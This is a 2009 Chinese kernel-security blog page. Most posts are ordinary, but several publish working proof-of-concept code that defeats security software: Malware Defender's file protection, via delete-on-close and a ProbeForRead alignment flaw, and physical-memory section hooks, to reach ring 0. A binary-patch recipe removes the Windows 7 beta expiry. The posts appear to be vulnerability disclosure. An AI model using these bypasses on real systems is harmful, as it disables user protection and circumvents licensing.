MJ0011的内核驱动研究所
百度空间 | 百度首页 
 
背景音乐
 
 
文章列表
 
2009-11-20 00:52
 
2009-11-11 22:41

收藏夹->历史记录->点中一个站点,右键,选择“属性”

其中的“上次访问时间”,不如改为叫“当前本地时间校对”更好一点。

 
2009-11-06 16:04

2009.11.4~11.6,我在韩国的Power Of Community(PoC)会议上演讲关于在Vmware外部分析内部操作系统,并进行Rootkit检测的相关议题:<<Analysis OS And Detection Rootkit Outside The VMWare>>

PoC是韩国最大的国际性安全与黑客相关会议:http://www.powerofcommunity.net/home.html

这里公开我在这里议题中涉及到的相关源代码,包括了用来检测Vmware Memory block的驱动:vmmdetect.sys,可进行枚举、访问、冻结/恢复等操作的VMX内存访问库,以及一个使用这个访问库实现的,具备完整功能的Anti-Rootkit工具。


目前这套工具支持外部系统为VISTA或XP(由于对vmmdetect.sys的依赖,你也可以自己移植到其他平台,例如WIN2000,2003 , 或WINDOWS 7 ,很简单),支持的内部系统为WINDOWS XP(依赖于ARK的分析功能,和VMX的一部分处理,你也可以在此基础上进行移植)。

下载地址:

http://code.google.com/p/vmxark/downloads/list

若主办方同意,以后我也会开放相关的paper下载。

 
2009-11-03 21:26

今天去ADVDBG找一个很老的资料,无意中发现了Raymond的一篇文章:《也谈1万小时定律 》

http://advdbg.org/blogs/advdbg_system/articles/3204.aspx

很有感触,也算了一下,接触程序、逆向、底层也有6年之久了,每天花费的时间,差不多在10~12个小时,那么取个平均数,11*365(节假日不休)*6= 24090,二万小时多一点。

前一万小时,在学校,在和我的电子设备TEAM奔波于祖国南端的时间里,基本花费在了反汇编、汇编,和硬件打交道的日子上,这部分功夫本博的读者是看不到了。后一万小时,在祖国的首都,则开始和Windows开始挂钩,逆向,内核,安全,等等。

诸位网友,只要是智商不是太差,谁下到了这个功夫,就能达到和我一样的水平,都是正常人类,没什么区别。世上无难事,巴拉巴拉巴拉,虽然很俗,但确实有道理。

反之看最近的MD事件,最初是在公司某事件熬夜时,无聊中下载了MD,CIS等软件,本意是想学习一下,看到MD的Probe处理后,便想起了去年曾和某些人意淫过的ProbeBypass技术,于是实践了一下,既然实践成功后不免发出来分享一下。

可是后来的事情有些让我出乎意料,卡饭上MD区的网友们反映超过我的想象,SANDWORM也迅速补上了这个漏洞,于是起了争胜之心,接下来连着五次破掉了升级后的MD。其实,挖掘这些攻击方法对我来说确实很简单,在内核攻击防御这块做熟了,看一眼IDA自然知道目标程序哪里没处理好。

只是这样会带来一些不好的影响,因为很多时候可能不需要多少的技术水平,不需要对这些保护做分析,直接照抄或者修改网上一些现成的方法、手段,也可以突破安全软件保护,由于这样可以轻易地获得战胜安全软件的虚假的满足,一些新入门的小孩可能就以此为荣,沉浸到对保护突破的快感,而不是技术追求的渴望上去了,这很明显是错误的。我的本意只是共享ProbeBypass这个精妙的技巧,而不是要攻破某某。

构建一个完备、考虑用户感受和兼容性的保护系统,远远比突破它的技术要难得多,尤其是在拥有大用户量基数的产品上。以微软这样的庞然大物,高手如云,也要在接到报告很久后,才能修补漏洞,不是因为不知道怎么修补,而是他们要考虑的问题远比漏洞攻击和挖掘者多得多。在保证用户体验,兼容性和稳定性的前提下,增强安全防护的能力,这才是高深的技术。   相比之下,这些攻击方法的挖掘,尤其是非建立在对攻击系统分析的基础上的挖掘(其实那样已不叫挖掘,叫做抄袭或盲人摸象吧 呵呵), 显然根本没有多少技术含量。

不过此次MD事件,据某人说也具有了一些正面的影响,那就是让很多原本不了解这方面道理的卡饭的网友,了解了HIPS的防护不是绝对安全的,了解了HIPS的保护其实并不见得比常规的带防御能力的安全软件强,为什么平时看起来HIPS很坚固,但专业人员却能很轻易地突破,了解了怎么样的设计考虑才是面向大多数用户的。让他们对什么是真正优秀的安全防护软件有一个正确的标准。如果说这些目的能达到,并且这些影响能随着卡饭的网友向外传播,那么最近这两天,我还算没有白练输入法:)

 
2009-10-30 19:44

下午Malware Defender更新了2.4.3,根据我的帖子内容更新了驱动,封了FILE_DELETE_ON_CLOSE的常规方式。晚上睡醒了看了一眼更新的程序,新驱动FD保护仍是很弱。随便变换了一下,重新让FILE_DELETE_ON_CLOSE攻击方式起效了

这是第三次发出突破MD文件保护的代码,目前所有的攻击都是针对MD对NtCreateFile钩子的处理,而MD剩下的钩子还有3,40处左右~光是NtCreateFile,目前至少还有5种左右的攻击方式 :)

此方式测试对2.4.3版本有效,同上个测试程序一样,可选择任意MD保护文件删除

示例代码如下:

DefineDosDeviceW(DDD_RAW_TARGET_PATH , L"killmdx" , L“\\??\\c:\\program files\\malware defender\\mdlog.txt");

CreateFile("\\\\.\\killmdx" ,   DELETE ,    0,   0,   OPEN_EXISTING ,   FILE_FLAG_DELETE_ON_CLOSE,0);

测试程序:http://mj0011.ys168.com 漏洞演示目录下 mdvuln_2.rar

 
2009-10-30 13:38

昨天爆了一个通用的攻击技巧,其中提到了MD在这个攻击技巧上存在的漏洞,简单举了个可突破其文件保护的漏洞,来作为演示。作者今天早上根据我的帖子做了更新。不过要突破MD的文件保护,根本不需要这么高深的技巧,只需要一行代码就可以了(测试对2.4.2 final有效)

HANDLE hfile = CreateFileW(FilePath,DELETE,FILE_SHARE_READ | FILE_SHARE_WRITE,0,OPEN_EXISTING,   FILE_FLAG_DELETE_ON_CLOSE,0);

FilePath为任意要删除的MD文件,当然被加载和被运行的DLL,EXE不行,可以删除MD的规则、日志和核心驱动文件等。

这里提供一个DEMO程序,可选择任意要删除的MD被保护文件

http://mj0011.ys168.com 漏洞演示下mdvuln.rar

 
2009-10-29 22:26

本文介绍了一种方法,利用很多安全防御软件在进行用户态内存校验时的漏洞,对其保护系统进行攻击,达到绕过保护的目的。

这是安全防御软件对于用户态内存校验未能慎重处理而引发的恶果之一。去年10月我曾在对国内外绝大部分主动防御产品的系列漏洞文章中,揭示了同样由于对用户态内存校验不慎重,导致的一些本地内核模式拒绝访问漏洞的问题,这里我将介绍利用这类漏洞进行的攻击绕过方法,这个漏洞是我去年发现并在内部圈子做过一些讨论的,现在我将它公开出来。

本文会以Malware Defender最新版 2.4.1的实际存在的漏洞为例,来讲解这个攻击方法,但并不代表仅有这个安全软件存在漏洞,市面上大部分带防御驱动的安全产品都存在此漏洞。

很多安全防御软件在进行用户态内存的校验时,会使用 ProbeForRead函数,这个函数的源代码如下:

   if (Length != 0) {
        if (((ULONG_PTR)Address & (Alignment - 1)) != 0) {
            ExRaiseDatatypeMisalignment();

        } else if ((((ULONG_PTR)Address + Length) > (ULONG_PTR)MM_USER_PROBE_ADDRESS) ||
                   (((ULONG_PTR)Address + Length) < (ULONG_PTR)Address)) {

            *(volatile UCHAR * const)MM_USER_PROBE_ADDRESS = 0;
        }
    }

我们可以看到它实际做了这么两件事:

1.检查缓存长度不为0后,检查内存是否按指定的字节数对其

2.检查整个缓存区是否位于用户态内存范围内

这两个检查任意一个不成功,该函数都会引发一个异常,通常防御软件的驱动程序会在调用这个API的函数内设置try_except,并由其来捕获异常。通常在安全软件的HOOK过滤函数中,当捕获到这个异常,会直接放行这个操作

那么很容易想到,如果过滤函数中,未能正确设置要对齐的字节数,例如,过滤函数中,对某个缓存设置的对齐字节数为2,那么若缓存地址并未按2对齐,这时过滤驱动就会放行这个函数请求。但是如果Windows内核中,对这个缓存并不需要其按2对其进行检查,那么这个请求就会成功执行了。。

以Malware Defender为例,其核心驱动mdcore.sys(2.4.0.0 Final , CheckSum:4AE56 Timestamp:0x4AE7D795),对NtCreateFile的挂钩中有这样的处理

HookedNtCreateFile(....)

{

IncRefCnt(NT_CREATE_FILE_INDEX);

... //省略无关代码

__try

{

ProbeForRead(ObjectAttributes , sizeof(OBJECT_ATTRIBUTES) , 1);

ProbeForRead(ObjectAttributes->ObjectName , sizeof(UNICODE_STRING) , sizeof(WORD));

///省略无关代码

}

__except(EXCEPTION_EXECUTE_HANDLER)

{

bPassRequest = TRUE ;

}

if (bPassRequest)

{

///此处调用原始函数,放行操作

}

可以看到,MD对ObjectAttributes的ObjectName参数进行ProbeForRead时,使用了对齐字节数 2 , 但系统对这个参数的对齐是如何处理的呢?

实际上NtCreateFile对这个参数的处理位于:NtCreateFile->IoCreateFile->IopCreateFile->ObOpenObjectByName->ObpCaptureObjectCreateInformation->ObpCaptureObjectName中

关键代码如下:

    try {

        if (ProbeMode != KernelMode) {

            ProbeAndReadUnicodeStringEx(&InputObjectName, ObjectName);

            ProbeForRead( InputObjectName.Buffer,
                          InputObjectName.Length,
                          sizeof(WCHAR) );

.....

ProbeAndReadUnicodeStringEx宏的实现:

#define ProbeAndReadUnicodeString(Source) \
    (((Source) >= (UNICODE_STRING * const)MM_USER_PROBE_ADDRESS) ? \
        (*(volatile UNICODE_STRING * const)MM_USER_PROBE_ADDRESS) : (*(volatile UNICODE_STRING *)(Source)))

可以看到,系统对这个参数压根没有进行任何字节对齐检查。

因此,我们可以构造一个特殊的NtCreateFile请求,并将ObjectName存放的缓存设置为不按2对齐的,就可以绕过MD的过滤,进行任何创建文件操作,例如,创建一个ws2_32.dll到md的目录下,导致其无法启动(正常MD保护打开时,是无法创建这个文件的)

示例代码如下:

WCHAR Filefname[MAX_PATH] = L"\\??\\c:\\program files\\malware defender\\ws2_32.dll\\";


HMODULE hmod = GetModuleHandle("ntdll.dll");
PVOID pNtCreateFile = GetProcAddress(hmod , "NtCreateFile");

if (pNtCreateFile == 0)
{
   printf("cannot get NtCreateFile\n");
   getchar();
   return 0 ;
}

HANDLE hFile ;
ULONG FileAccess = DIRECTORY_ALL_ACCESS ;
OBJECT_ATTRIBUTES oba ;
IO_STATUS_BLOCK iosb ;
ULONG FileAttr = FILE_ATTRIBUTE_NORMAL ;
ULONG FileShare = FILE_SHARE_READ | FILE_SHARE_WRITE ;
ULONG CreateDispos = FILE_CREATE ;
ULONG CreateOptions = FILE_DIRECTORY_FILE;
LONG stat ;
UNICODE_STRING uniname ;
uniname.Length = wcslen(Filefname) * sizeof(WCHAR);
uniname.MaximumLength = MAX_PATH * sizeof(WCHAR);
uniname.Buffer = Filefname ;
PVOID pUniName = malloc(0x1000);
while (((ULONG)pUniName & 1) == 0 )
{
   pUniName = (PVOID)((ULONG)pUniName + 1) ;
}

CopyMemory(pUniName , &uniname , sizeof(UNICODE_STRING));


InitializeObjectAttributes(&oba , (PUNICODE_STRING)pUniName , OBJ_CASE_INSENSITIVE , 0 , 0 );
__asm
{

   push 0
   push 0
   push CreateOptions
   push CreateDispos
   push FileShare
   push FileAttr
   push 0
   lea eax , iosb
   push eax
   lea eax ,oba
   push eax
   push FileAccess
   lea eax ,hFile
   push eax
   call pNtCreateFile
   mov stat , eax
}

if (stat != 0 )
{
   printf("cannot open file %ws %08x\n" , Filefname , stat);
   getchar();
   return 0;
}

printf("create File OK!\n");

getchar();
return 0;

攻击结果:


测试程序下载:

http://mj0011.ys168.com 漏洞演示目录下killmdfile.rar

 
2009-10-20 23:58

如题

 
2009-10-09 22:07

原先DEBUGMAN为防止机器人注册而使用了邀请注册机制,最近我和XIKUG商议,决定下调DEBUGMAN的邀请码价格,降低至5DM币。如果有需要的朋友可发百度小纸条给我索取DEBUGMAN邀请码。

DEBUGMAN将继续地坚持开放、自由的精神,维持内核、逆向和调试研究的良好气氛,并帮助在技术方面有疑问的朋友,希望各位朋友一如既往地支持第八个男人。

 
2009-08-26 23:08

今天遇到一个问题,需要从一块内存基址获取这个基址MapViewOfFile时指定的文件偏移。先是请教了同事A(狙X同学),同事A一口咬定系统不会存储这个信息。

接着请教了同事B(SUXXXX),也表示不知道

于是自己跟踪了一下,得解:

首先通过基址在avl table中定位到基址所在的MmVad结构,然后MmVad->u2->LoadFlags2->FileOffset,就存放着文件的偏移(page based)

大家有什么更优美,更稳定(例如R3实现)的方法,也可以指点一下我

 
2009-07-31 19:24

http://milw0rm.com/exploits/9301

抄我的方法也就算了,还改成叫本地提权漏洞,代码里明显地去adjust debug权限,打开csrss,哪来的本地提权。。。

 
2009-07-24 02:43

之前曾讲过通过PhysicalMemory进入RING0的一些绕过攻击方式:(http://hi.baidu.com/mj0011/blog/item/1c92ed03bea96d80d53f7c00.html

其中提到的为\Device\PhysicalMemory创建符号链接的方式来绕过对ZwOpenSection打开这个Section的拦截,这个实际很多安全软件都已经防御了,例如Comodo , 卡巴,等等,但是他们仅仅是拦截对\Device\PhysicalMemory的Symbolic Link创建,这样足够吗?

答案当然是否定的。我们仔细看\Device\PhyscialMemory这个路径,实际它由\Device这个对象目录和PhysicalMemory这个Section Name组成,那么很简单了,我们创建对\Device这个对象目录的映射,例如叫123,这个不会有人拦截,然后再打开\123\PhysicalMemory, 这样就绕过了拦截,得到了物理内存对象的句柄,轻松进入RING0,具体实现代码如下:

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID pAddr = GetProcAddress(hlib , "ZwOpenSection");
PVOID pAddr2 = GetProcAddress(hlib , "ZwCreateSymbolicLinkObject");
HANDLE shandle ;
PHANDLE psechandle = &shandle ;
LONG stat ;
HANDLE symhandle ;
PHANDLE psymhandle = &symhandle;
OBJECT_ATTRIBUTES oba ;
OBJECT_ATTRIBUTES oba2 ;
UNICODE_STRING smbname = RTL_CONSTANT_STRING(L"\\Device");
UNICODE_STRING linkname = RTL_CONSTANT_STRING(L"\\??\\123");
UNICODE_STRING phname = RTL_CONSTANT_STRING(L"\\??\\123\\PhysicalMemory");

InitializeObjectAttributes(&oba2 , &linkname , 0x40 , 0 , 0);
InitializeObjectAttributes(&oba , &phname , 0x40 , 0 , 0 );
__asm
{
   lea eax ,smbname
   push eax
   lea eax ,oba2
   push eax
   push 1
   push psymhandle
   call pAddr2
   lea eax , oba
   push eax
   push    2
   push psechandle
   call    pAddr
}

有了上面的启发,我们很容易可以想到另外一种攻击方式,来绕过对打开物理内存对象拦截,那就是用ZwOpenDirectoryObject打开\Device这个对象目录,然后设置ZwOpenSection的参数ObjectAttributes的RootDirectory域,设为\Device这个对象目录的句柄,那么同样可以顺利打开物理内存对象的句柄,进入RING0。代码如下:

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID pAddr = GetProcAddress(hlib , "ZwOpenSection");
PVOID pAddr3 = GetProcAddress(hlib , "ZwOpenDirectoryObject");
HANDLE shandle ;
PHANDLE psechandle = &shandle ;
LONG stat ;
OBJECT_ATTRIBUTES oba ;
UNICODE_STRING smbname = RTL_CONSTANT_STRING(L"\\Device");
UNICODE_STRING phname = RTL_CONSTANT_STRING(L"PhysicalMemory");
HANDLE dirhandle ;
PHANDLE pdirhandle = &dirhandle;
OBJECT_ATTRIBUTES oba3 ;

InitializeObjectAttributes(&oba3 , &smbname , 0x40 , 0 , 0);

__asm
{
   lea eax , oba3
   push eax
   push 1
   push pdirhandle
   call pAddr3
}
InitializeObjectAttributes(&oba , &phname , 0x40 , dirhandle , 0 );

__asm
{
   lea eax , oba
   push eax
   push    2
   push psechandle
   call    pAddr
}

 
2009-07-16 22:39

大部分函数判断都是直接丢进程(或目标进程)到RING3去走黑白名单或规则,这种做法有好处就是比较可靠,反正参数也不判断,直接告诉用户谁谁谁在XXX谁谁谁。

但都丢给用户了,没什么意思。用户全选拒绝,于是很安全,但是大部分程序都挂了,用户全允许,就没安全了,而且貌似默认模式下很多钩子都没效果了~

剩下那些做了一些判断处理的函数里(因为要是这些不处理,弹框就弹死人了)也有一些问题:

驱动拦截时路径名分析有一些问题,可以绕过

消息拦截时对其他进程采用部分拦截,不是很全面,但是对自己进程的拦截采用部分放行,比较可靠。

但是窗口的保护拦截不是很全面。虽然对进程本身没有影响。

SetHook中有我之前说的那个漏洞的问题

LPC拦截很遗憾地没有做svc的

绕过的漏洞应该不少,从功能上说,比较丰富,但是从防护强度上说,可能尚不如瑞星或微点。

由于过分依赖XXXX,所以面对MAX法很脆弱,这方面的攻击方法绕过COMODO的很多

自我保护不够完善,例如RING3下用MAX法绕过拦截,再用TerminateJob即可结束。

其中也有一些有意思的小技巧,例如hdc to hwnd,IoSetTopLevelIrp , CallHwndParamLock拦EnableWindow等。

 
2009-07-09 19:31

WIN7 BETA版本从7月1日开始,启动2小时后,就会蓝屏重启。

蓝屏代码为:0x00000098

参考WINDBG帮助文件中的解释:

Bug Check 0x98: END_OF_NT_EVALUATION_PERIOD

The END_OF_NT_EVALUATION_PERIOD bug check has a value of 0x00000098. This bug check indicates that the trial period for the Microsoft Windows operating system has ended.

如何不让其过期:

在ntoskrnl中搜索特征:68 68 02 00 c0

搜索到后向上搜索72 XX 38 YY (XX YY为任意值)

找到的地址假设为i,找到后将i+2的位置修改为jmp i+xx+2

实际是内核使用KeInitializeTimerEx创建了一个Timer,然后计算当前时间,到2小时,开始验证license。如果发现时间过期了,则先创建一个系统线程,通过ExRaiseHardError触发一个特殊的内核异常代码。然后再一次则调用PoShutdownBugCheck引发一个蓝屏关机

 
2009-07-08 18:25

感谢帮我买书的LP~

 
     
 
 
个人档案
 
MJ0011

上次登录:
23小时前
加为好友
 
   
 
订阅我的空间
 
已有人次访问本空间
 
订阅RSS  什么是RSS?

您也想拥有这样的空间?请点此申请。
     
 
最近访客
 
 

化学魔人

jdcbbk

1310aochuan

shichangll

405071317

舍瓦归来

44si

wengongling
     


©2009 Baidu